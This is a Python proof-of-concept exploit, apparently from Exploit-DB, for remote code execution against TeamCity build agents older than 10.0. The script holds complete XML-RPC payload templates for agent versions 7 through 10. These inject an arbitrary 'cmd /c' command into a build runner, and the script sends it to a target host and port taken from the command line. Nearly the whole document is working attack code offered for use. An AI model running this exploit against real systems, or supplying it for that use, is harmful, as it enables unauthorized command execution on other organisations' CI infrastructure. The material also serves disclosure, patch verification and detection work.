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353 | # Exploit Title: TeamCity Agent XML-RPC 10.0 - Remote Code Execution
# Date: 2020-03-20
# Exploit Author: Dylan Pindur
# Vendor Homepage: https://www.jetbrains.com/teamcity/
# Version: TeamCity < 10.0 (42002)
# Tested on: Windows 10 (x64)
# References:
# https://www.exploit-db.com/exploits/45917
# https://www.tenable.com/plugins/nessus/94675
#
# TeamCity Agents configured to use bidirectional communication allow the execution
# of commands sent to them via an XML-RPC endpoint.
#
# This script requires the following python modules are installed
# pip install requests
#
#!/usr/local/bin/python3
import requests
import sys
# region tc7
teamcity_7_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>123456</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myVcsRootOldRevisions class="tree-map">
<no-comparator/>
</myVcsRootOldRevisions>
<myVcsRootCurrentRevisions class="tree-map">
<no-comparator/>
</myVcsRootCurrentRevisions>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootEntries/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myRunnerParameters class="tree-map">
<no-comparator/>
<entry>
<string>script.content</string>
<string>{SCRIPT}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myBuildFeatures/>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
""".strip()
# endregion
# region tc8
teamcity_8_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>123456</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>{SCRIPT}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myBuildFeatures/>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
""".strip()
# endregion
# region tc9
teamcity_9_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>123456</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myBuildTypeExternalId>x</myBuildTypeExternalId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myServerParameters class="StringTreeMap">
<k>system.build.number</k>
<v>0</v>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildFeatures/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>{SCRIPT}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
""".strip()
# endregion
# region tc10
teamcity_10_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>123456</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myBuildTypeExternalId>x</myBuildTypeExternalId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
<myVcsSettingsHashForAgentCheckout>123456</myVcsSettingsHashForAgentCheckout>
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myServerParameters class="StringTreeMap">
<k>system.build.number</k>
<v>0</v>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildFeatures/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myParametersSpecs class="StringTreeMap"/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>{SCRIPT}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
""".strip()
# endregion
def prepare_payload(version, cmd):
if version == 7:
return teamcity_7_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
elif version == 8:
return teamcity_8_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
elif version == 9:
return teamcity_9_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
elif version == 10:
return teamcity_10_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
else:
raise Exception("No payload available for version {}".format(version))
def send_req(host, port, payload):
headers = {
"Content-Type": "text/xml"
}
url = "http://{}:{}/".format(host, port)
r = requests.post(url, headers=headers, data=payload)
if r.status_code == 200 and 'fault' not in r.text:
print('Command sent successfully')
else:
print('Command failed')
print(r.text)
if len(sys.argv) != 4:
print('[!] Missing arguments')
print('[ ] Usage: {} <target> <port> <cmd>'.format(sys.argv[0]))
print("[ ] E.g. {} 192.168.1.128 9090 'whoami > C:\\x.txt'".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
cmd = sys.argv[3]
version = input("Enter TeamCity version (7,8,9,10): ")
version = int(version.strip())
if version not in [7, 8, 9, 10]:
print("Please select a valid version (7,8,9,10)")
sys.exit(1)
payload = prepare_payload(version, cmd)
send_req(target, str(port), payload)
|
